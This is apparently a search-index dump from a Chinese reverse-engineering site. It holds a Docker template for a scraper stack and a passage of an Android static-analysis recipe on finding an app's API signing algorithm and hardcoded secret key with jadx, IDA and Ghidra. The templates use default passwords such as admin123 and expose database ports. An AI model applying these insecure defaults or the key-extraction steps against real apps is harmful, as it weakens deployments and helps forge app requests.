Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#选型原则"},{"categories":null,"collections":null,"content":"最佳实践 读多写少: MySQL/PostgreSQL + Redis 写多读少: Cassandra/MongoDB + Redis 复杂查询: PostgreSQL + 数据仓库 实时分析: HBase + Spark/Flink 混合负载: 多数据库架构 + 数据同步 ","date":"2025-04-14","objectID":"/reverse_engineering/android/04-reference/engineering/redis/:13:5","tags":["大数据","SSL Pinning","电商","工程实践","DEX"],"title":"Redis 常用命令备忘录","uri":"/reverse_engineering/android/04-reference/engineering/redis/#最佳实践"},{"categories":null,"collections":null,"content":"Docker 部署配置模板 容器化部署爬虫项目的完整配置，支持单机和分布式部署。 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:0:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#docker-部署配置模板"},{"categories":null,"collections":null,"content":"项目结构 docker_scraper/ ├── app/ │ ├── __init__.py │ ├── main.py │ ├── config.py │ └── scraper.py ├── docker/ │ ├── Dockerfile │ ├── Dockerfile.dev │ └── docker-compose.yml ├── scripts/ │ ├── entrypoint.sh │ └── wait-for-it.sh ├── nginx/ │ └── nginx.conf ├── .env.example ├── .dockerignore └── README.md ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:1:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#项目结构"},{"categories":null,"collections":null,"content":"配置文件 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#配置文件"},{"categories":null,"collections":null,"content":"1. Dockerfile (生产环境) # 基础镜像 FROM python:3.11-slim # 设置环境变量 ENV PYTHONUNBUFFERED=1 \\ PYTHONDONTWRITEBYTECODE=1 \\ PIP_NO_CACHE_DIR=1 \\ PIP_DISABLE_PIP_VERSION_CHECK=1 # 设置工作目录 WORKDIR /app # 安装系统依赖 RUN apt-get update \u0026\u0026 apt-get install -y \\ gcc \\ g++ \\ curl \\ wget \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* # 复制依赖文件 COPY requirements.txt . # 安装 Python 依赖 RUN pip install --no-cache-dir -r requirements.txt # 复制项目文件 COPY . . # 创建非 root 用户 RUN useradd -m -u 1000 scraper \u0026\u0026 \\ chown -R scraper:scraper /app # 切换用户 USER scraper # 暴露端口 EXPOSE 8000 # 健康检查 HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \\ CMD python -c \"import sys; sys.exit(0)\" # 启动命令 CMD [\"python\", \"app/main.py\"] ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:1","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#1-dockerfile-生产环境"},{"categories":null,"collections":null,"content":"2. Dockerfile.dev (开发环境) FROM python:3.11-slim ENV PYTHONUNBUFFERED=1 WORKDIR /app # 安装开发工具 RUN apt-get update \u0026\u0026 apt-get install -y \\ gcc \\ g++ \\ curl \\ wget \\ vim \\ git \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* COPY requirements.txt requirements-dev.txt ./ RUN pip install --no-cache-dir -r requirements.txt \u0026\u0026 \\ pip install --no-cache-dir -r requirements-dev.txt # 不复制代码，使用 volume 挂载 VOLUME /app CMD [\"python\", \"app/main.py\"] ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:2","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#2-dockerfiledev-开发环境"},{"categories":null,"collections":null,"content":"3. docker-compose.yml version: \"3.8\" services: # 爬虫应用 scraper: build: context: . dockerfile: docker/Dockerfile container_name: scraper_app restart: unless-stopped environment: - MONGODB_URI=mongodb://mongodb:27017/ - REDIS_HOST=redis - REDIS_PORT=6379 - LOG_LEVEL=INFO volumes: - ./data:/app/data - ./logs:/app/logs depends_on: mongodb: condition: service_healthy redis: condition: service_healthy networks: - scraper_network labels: - \"com.scraper.description=Main scraper service\" # MongoDB 数据库 mongodb: image: mongo:7.0 container_name: scraper_mongodb restart: unless-stopped environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: ${MONGO_PASSWORD:-admin123} MONGO_INITDB_DATABASE: scraper_db volumes: - mongodb_data:/data/db - mongodb_config:/data/configdb ports: - \"27017:27017\" healthcheck: test: echo 'db.runCommand(\"ping\").ok' | mongosh localhost:27017/test --quiet interval: 10s timeout: 5s retries: 5 start_period: 20s networks: - scraper_network # Redis 缓存 redis: image: redis:7-alpine container_name: scraper_redis restart: unless-stopped command: redis-server --requirepass ${REDIS_PASSWORD} --maxmemory 256mb --maxmemory-policy allkeys-lru volumes: - redis_data:/data ports: - \"6379:6379\" healthcheck: test: [\"CMD\", \"redis-cli\", \"ping\"] interval: 10s timeout: 5s retries: 5 networks: - scraper_network # Nginx (可选) nginx: image: nginx:alpine container_name: scraper_nginx restart: unless-stopped ports: - \"80:80\" - \"443:443\" volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro - ./data/static:/usr/share/nginx/html:ro depends_on: - scraper networks: - scraper_network # 监控 (可选) prometheus: image: prom/prometheus:latest container_name: scraper_prometheus restart: unless-stopped command: - \"--config.file=/etc/prometheus/prometheus.yml\" - \"--storage.tsdb.path=/prometheus\" volumes: - ./monitoring/prometheus.yml:/etc/prometheus/prometheus.yml:ro - prometheus_data:/prometheus ports: - \"9090:9090\" networks: - scraper_network # 可视化监控 grafana: image: grafana/grafana:latest container_name: scraper_grafana restart: unless-stopped environment: - GF_SECURITY_ADMIN_PASSWORD=${GRAFANA_PASSWORD:-admin123} volumes: - grafana_data:/var/lib/grafana ports: - \"3000:3000\" depends_on: - prometheus networks: - scraper_network networks: scraper_network: driver: bridge volumes: mongodb_data: mongodb_config: redis_data: prometheus_data: grafana_data: ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:3","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#3-docker-composeyml"},{"categories":null,"collections":null,"content":"4. docker-compose.dev.yml (开发环境) version: \"3.8\" services: scraper: build: context: . dockerfile: docker/Dockerfile.dev container_name: scraper_dev environment: - MONGODB_URI=mongodb://mongodb:27017/ - REDIS_HOST=redis - LOG_LEVEL=DEBUG volumes: - .:/app # 挂载代码目录，支持热重载 - /app/__pycache__ # 排除缓存 ports: - \"8000:8000\" - \"5678:5678\" # 调试端口 depends_on: - mongodb - redis networks: - scraper_network command: python -m debugpy --listen 0.0.0.0:5678 --wait-for-client app/main.py mongodb: image: mongo:7.0 container_name: scraper_mongodb_dev environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: admin123 ports: - \"27017:27017\" volumes: - mongodb_dev_data:/data/db networks: - scraper_network redis: image: redis:7-alpine container_name: scraper_redis_dev command: redis-server --requirepass ${REDIS_PASSWORD} ports: - \"6379:6379\" networks: - scraper_network networks: scraper_network: driver: bridge volumes: mongodb_dev_data: ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:4","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#4-docker-composedevyml-开发环境"},{"categories":null,"collections":null,"content":"5. .dockerignore # Python __pycache__/ *.py[cod] *$py.class *.so .Python venv/ env/ ENV/ *.egg-info/ dist/ build/ # 数据和日志 data/ logs/ *.log # Git .git/ .gitignore # IDE .vscode/ .idea/ *.swp *.swo # 环境变量 .env .env.local # Docker docker-compose.yml Dockerfile* # 测试 .pytest_cache/ .coverage htmlcov/ # 文档 docs/ *.md !README.md ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:5","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#5-dockerignore"},{"categories":null,"collections":null,"content":"6. scripts/entrypoint.sh #!/bin/bash set -e echo \" Starting scraper application...\" # 等待 MongoDB 就绪 echo \"⏳ Waiting for MongoDB...\" until python -c \" import pymongo import sys try: client = pymongo.MongoClient('${MONGODB_URI}', serverSelectionTimeoutMS=2000) client.server_info() print('✅ MongoDB is ready!') except Exception as e: print(f'❌ MongoDB not ready: {e}') sys.exit(1) \"; do echo \"MongoDB is unavailable - sleeping\" sleep 2 done # 等待 Redis 就绪 echo \"⏳ Waiting for Redis...\" until python -c \" import redis import sys try: r = redis.Redis(host='${REDIS_HOST}', port=${REDIS_PORT}, password='${REDIS_PASSWORD}', socket_connect_timeout=2) r.ping() print('✅ Redis is ready!') except Exception as e: print(f'❌ Redis not ready: {e}') sys.exit(1) \"; do echo \"Redis is unavailable - sleeping\" sleep 2 done # 初始化数据库 (可选) echo \" Initializing database...\" python -c \" from app.database import init_db init_db() print('✅ Database initialized!') \" echo \" All services are ready!\" echo \" Starting main application...\" # 执行主命令 exec \"$@\" ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:6","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#6-scriptsentrypointsh"},{"categories":null,"collections":null,"content":"7. scripts/wait-for-it.sh #!/bin/bash # wait-for-it.sh - 等待服务可用 TIMEOUT=15 QUIET=0 HOST=\"\" PORT=\"\" while [ $# -gt 0 ]; do case \"$1\" in *:* ) HOST=$(printf \"%s\\n\" \"$1\"| cut -d : -f 1) PORT=$(printf \"%s\\n\" \"$1\"| cut -d : -f 2) shift 1 ;; -t) TIMEOUT=\"$2\" shift 2 ;; -q) QUIET=1 shift 1 ;; *) echo \"Unknown argument: $1\" exit 1 ;; esac done if [ \"$HOST\" = \"\" ] || [ \"$PORT\" = \"\" ]; then echo \"Error: you need to provide a host and port to test.\" exit 1 fi TIMEOUT_END=$(($(date +%s) + TIMEOUT)) while :; do if [ $QUIET -ne 1 ]; then echo \"Waiting for $HOST:$PORT...\" fi nc -z \"$HOST\" \"$PORT\" \u003e /dev/null 2\u003e\u00261 result=$? if [ $result -eq 0 ]; then if [ $QUIET -ne 1 ]; then echo \"$HOST:$PORT is available!\" fi exit 0 fi if [ \"$(date +%s)\" -ge \"$TIMEOUT_END\" ]; then echo \"Timeout waiting for $HOST:$PORT\" exit 1 fi sleep 1 done ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:7","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#7-scriptswait-for-itsh"},{"categories":null,"collections":null,"content":"8. nginx/nginx.conf user nginx; worker_processes auto; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; events { worker_connections 1024; use epoll; } http { include /etc/nginx/mime.types; default_type application/octet-stream; # 日志格式 log_format main '$remote_addr - $remote_user [$time_local] \"$request\" ' '$status $body_bytes_sent \"$http_referer\" ' '\"$http_user_agent\" \"$http_x_forwarded_for\"'; access_log /var/log/nginx/access.log main; # 性能优化 sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # Gzip 压缩 gzip on; gzip_vary on; gzip_min_length 1000; gzip_types text/plain text/css application/json application/javascript text/xml application/xml; # 上游服务器 upstream scraper_backend { server scraper:8000; keepalive 32; } # 主服务器配置 server { listen 80; server_name localhost; # 静态文件 location /static/ { alias /usr/share/nginx/html/; expires 30d; add_header Cache-Control \"public, immutable\"; } # API 代理 location /api/ { proxy_pass http://scraper_backend; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # 超时设置 proxy_connect_timeout 60s; proxy_send_timeout 60s; proxy_read_timeout 60s; } # 健康检查 location /health { access_log off; return 200 \"healthy\\n\"; add_header Content-Type text/plain; } } } ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:8","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#8-nginxnginxconf"},{"categories":null,"collections":null,"content":"9. .env.example # MongoDB 配置 MONGODB_URI=mongodb://mongodb:27017/ MONGO_PASSWORD=admin123 # Redis 配置 REDIS_HOST=redis REDIS_PORT=6379 REDIS_PASSWORD=${REDIS_PASSWORD} # 应用配置 LOG_LEVEL=INFO DEBUG=false # Grafana 配置 GRAFANA_PASSWORD=admin123 # 代理配置 (可选) USE_PROXY=false PROXY_URL=http://proxy:7890 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:9","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#9-envexample"},{"categories":null,"collections":null,"content":"10. monitoring/prometheus.yml global: scrape_interval: 15s evaluation_interval: 15s scrape_configs: # Prometheus 自身 - job_name: \"prometheus\" static_configs: - targets: [\"localhost:9090\"] # 爬虫应用 - job_name: \"scraper\" static_configs: - targets: [\"scraper:8000\"] metrics_path: \"/metrics\" # MongoDB Exporter (如果使用) - job_name: \"mongodb\" static_configs: - targets: [\"mongodb-exporter:9216\"] # Redis Exporter (如果使用) - job_name: \"redis\" static_configs: - targets: [\"redis-exporter:9121\"] ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:10","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#10-monitoringprometheusyml"},{"categories":null,"collections":null,"content":"11. requirements-dev.txt # 开发工具 debugpy\u003e=1.8.0 ipython\u003e=8.18.0 pytest\u003e=7.4.0 pytest-cov\u003e=4.1.0 pytest-mock\u003e=3.12.0 black\u003e=23.12.0 flake8\u003e=6.1.0 mypy\u003e=1.7.0 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:2:11","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#11-requirements-devtxt"},{"categories":null,"collections":null,"content":"使用指南 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:3:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#使用指南"},{"categories":null,"collections":null,"content":"生产环境部署 # 1. 克隆项目 git clone \u003cyour-repo\u003e cd docker_scraper # 2. 配置环境变量 cp .env.example .env vim .env # 修改密码等配置 # 3. 构建并启动 docker-compose up -d # 4. 查看日志 docker-compose logs -f scraper # 5. 查看状态 docker-compose ps # 6. 停止服务 docker-compose down ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:3:1","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#生产环境部署"},{"categories":null,"collections":null,"content":"开发环境 # 使用开发配置 docker-compose -f docker-compose.dev.yml up # 进入容器 docker exec -it scraper_dev bash # 运行测试 docker exec scraper_dev pytest # 查看日志 docker-compose -f docker-compose.dev.yml logs -f ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:3:2","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#开发环境"},{"categories":null,"collections":null,"content":"常用命令 # 重新构建镜像 docker-compose build --no-cache # 只启动特定服务 docker-compose up -d mongodb redis # 查看资源使用 docker stats # 清理未使用的资源 docker system prune -a # 导出数据 docker exec scraper_mongodb mongodump --out /tmp/backup docker cp scraper_mongodb:/tmp/backup ./backup # 导入数据 docker cp ./backup scraper_mongodb:/tmp/ docker exec scraper_mongodb mongorestore /tmp/backup ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:3:3","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#常用命令"},{"categories":null,"collections":null,"content":"监控和维护 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:4:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#监控和维护"},{"categories":null,"collections":null,"content":"访问 Grafana URL: http://localhost:3000 用户名: admin 密码: (在 .env 中设置的 GRAFANA_PASSWORD) ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:4:1","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#访问-grafana"},{"categories":null,"collections":null,"content":"查看 Prometheus 指标 URL: http://localhost:9090 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:4:2","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#查看-prometheus-指标"},{"categories":null,"collections":null,"content":"健康检查 # 应用健康检查 curl http://localhost/health # Docker 健康状态 docker inspect --format='{{.State.Health.Status}}' scraper_app ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:4:3","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#健康检查"},{"categories":null,"collections":null,"content":"进阶配置 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:5:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#进阶配置"},{"categories":null,"collections":null,"content":"多副本部署 # docker-compose.yml services: scraper: # ... 其他配置 deploy: replicas: 3 resources: limits: cpus: \"0.5\" memory: 512M reservations: cpus: \"0.25\" memory: 256M ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:5:1","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#多副本部署"},{"categories":null,"collections":null,"content":"使用 Docker Swarm # 初始化 Swarm docker swarm init # 部署服务栈 docker stack deploy -c docker-compose.yml scraper_stack # 查看服务 docker service ls # 扩容 docker service scale scraper_stack_scraper=5 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:5:2","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#使用-docker-swarm"},{"categories":null,"collections":null,"content":"使用外部配置 # docker-compose.yml services: scraper: configs: - source: app_config target: /app/config.yaml configs: app_config: file: ./config.yaml ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:5:3","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#使用外部配置"},{"categories":null,"collections":null,"content":"相关资源 Docker 部署 分布式爬虫 监控告警 ","date":"2025-04-12","objectID":"/reverse_engineering/web/09-templates/docker_setup/:6:0","tags":["Web","项目","Docker","代理池","ARM汇编","Root检测"],"title":"Docker 部署配置模板","uri":"/reverse_engineering/web/09-templates/docker_setup/#相关资源"},{"categories":null,"collections":null,"content":"使用静态分析定位 Android App 的关键逻辑 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： APK 结构解析 - 理解 APK 的组成部分 Jadx 反编译指南 - 使用 Jadx 阅读 Java/Smali 代码 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:0:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#使用静态分析定位-android-app-的关键逻辑"},{"categories":null,"collections":null,"content":"问题场景 你遇到了什么问题？ 你想找到 App 的加密/签名算法，但代码太多不知道从哪里开始 你想理解 App 的完整业务逻辑，包括所有分支和边界条件 你想寻找安全漏洞，比如硬编码密钥、逻辑缺陷 你想在没有运行环境的情况下分析 APK 你想进行批量自动化分析 本配方教你：系统性地使用静态分析工具（jadx, IDA Pro, Ghidra）快速定位关键代码、追踪数据流、识别加密算法。 核心理念： 静态分析：不运行代码，看清全局 静态分析能看到所有代码路径（包括未触发的分支） 适合理解完整算法和寻找漏洞 先动态获取线索，再静态深入分析 交替迭代：动态发现 → 静态验证 → 动态测试 预计用时: 40-90 分钟 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:1:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:2:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 jadx-gui - Java/Smali 反编译 IDA Pro / Ghidra - Native 层分析 文本编辑器 - 记录分析笔记 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:2:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 Binary Ninja - 可视化 CFG FindCrypt (IDA 插件) - 识别加密算法 YARA - 模式匹配 angr - 符号执行（高级） ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:2:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:3:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#前置条件"},{"categories":null,"collections":null,"content":"确认清单 # 1. jadx-gui 已安装 jadx-gui --version # 2. IDA Pro or Ghidra 可用 # IDA Pro: 商业软件 # Ghidra: 免费，下载自 https://ghidra-sre.org/ # 3. APK 文件已解压 unzip app.apk -d app_unzipped ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:3:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#确认清单"},{"categories":null,"collections":null,"content":"静态 vs 动态：何时选择什么？ 你的目标 推荐起点 理由 快速提取结果（如加密参数） 动态优先 直接 Hook 拿结果，不必理解全部逻辑 理解完整算法（如协议逆向） 静态优先 需要看清所有分支和边界条件 寻找漏洞 静态优先 需要覆盖所有代码路径，包括错误处理 对抗混淆/加壳 动态优先 静态分析可能完全失效，先动态脱壳 批量自动化 静态优先 动态分析需要运行环境，静态可离线 最佳实践： 先动态获取线索 - 用 Frida 快速定位关键函数 再静态深入分析 - 有了\"地图\"后更有方向性 交替迭代 - 动态发现的疑点用静态验证 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:3:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#静态-vs-动态何时选择什么"},{"categories":null,"collections":null,"content":"解决方案 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#解决方案"},{"categories":null,"collections":null,"content":"第 1 步：确定分析目标（5 分钟） 明确你想找什么： API 签名算法 加密密钥位置 网络协议逻辑 特定功能实现（如登录、支付） 安全漏洞 示例：假设目标是找到 API 请求的签名逻辑 ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-1-步确定分析目标5-分钟"},{"categories":null,"collections":null,"content":"第 2 步：从字符串入手（10 分钟） 最有效的起点：搜索关键字符串 2.1 jadx-gui 字符串搜索 在 jadx-gui 中使用 Ctrl+Shift+F 搜索以下关键词： md5 sha hmac key secret encrypt sign 找到可疑代码后分析调用关系： HashMap\u003cString, String\u003e params = new HashMap\u003c\u003e(); params.put(\"sign\", generateSign(data)); ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-2-步从字符串入手10-分钟"},{"categories":null,"collections":null,"content":"第 2 步：从字符串入手（10 分钟） 最有效的起点：搜索关键字符串 2.1 jadx-gui 字符串搜索 在 jadx-gui 中使用 Ctrl+Shift+F 搜索以下关键词： md5 sha hmac key secret encrypt sign 找到可疑代码后分析调用关系： HashMap params = new HashMap\u003c\u003e(); params.put(\"sign\", generateSign(data)); ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#21-jadx-gui-字符串搜索"},{"categories":null,"collections":null,"content":"第 3 步：交叉引用分析（10 分钟） 3.1 查找函数调用者 在 jadx-gui 中： 右键点击 generateSign 函数 选择 “Find Usage” 或按 X 查看所有调用点 在 IDA Pro 中： 光标移到函数名 按 X 键 查看 Xrefs to（被谁调用）和 Xrefs from（调用了谁） 3.2 向上追溯调用链 RequestBuilder.buildParams() ↓ SignUtils.generateSign() ← 目标函数 分析签名函数的实现： public static String generateSign(Map\u003cString, String\u003e params) { // Step 1: Sort parameters TreeMap\u003cString, String\u003e sortedParams = new TreeMap\u003c\u003e(params); // Step 2: Concatenate string StringBuilder sb = new StringBuilder(); for (Map.Entry\u003cString, String\u003e entry : sortedParams.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"\u0026\"); } sb.append(\"key=\").append(SECRET_KEY); // Step 3: Calculate MD5 return MD5.encode(sb.toString()); } ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#第-3-步交叉引用分析10-分钟"},{"categories":null,"collections":null,"content":"第 3 步：交叉引用分析（10 分钟） 3.1 查找函数调用者 在 jadx-gui 中： 右键点击 generateSign 函数 选择 “Find Usage” 或按 X 查看所有调用点 在 IDA Pro 中： 光标移到函数名 按 X 键 查看 Xrefs to（被谁调用）和 Xrefs from（调用了谁） 3.2 向上追溯调用链 RequestBuilder.buildParams() ↓ SignUtils.generateSign() ← 目标函数 分析签名函数的实现： public static String generateSign(Map params) { // Step 1: Sort parameters TreeMap sortedParams = new TreeMap\u003c\u003e(params); // Step 2: Concatenate string StringBuilder sb = new StringBuilder(); for (Map.Entry entry : sortedParams.entrySet()) { sb.append(entry.getKey()).append(\"=\").append(entry.getValue()).append(\"\u0026\"); } sb.append(\"key=\").append(SECRET_KEY); // Step 3: Calculate MD5 return MD5.encode(sb.toString()); } ","date":"2025-04-10","objectID":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"使用静态分析定位 Android App 的关键逻辑","uri":"/reverse_engineering/android/01-recipes/analysis/static_analysis_deep_dive/#31-查找函数调用者"},{"categories":null,"collections":null,"content":"第 3 步：交叉引用分析（10 分钟） 3.1 查找函数调用者 在 jadx-gui 中： 右键点击 generateSign 函数 选择 “Find Usage” 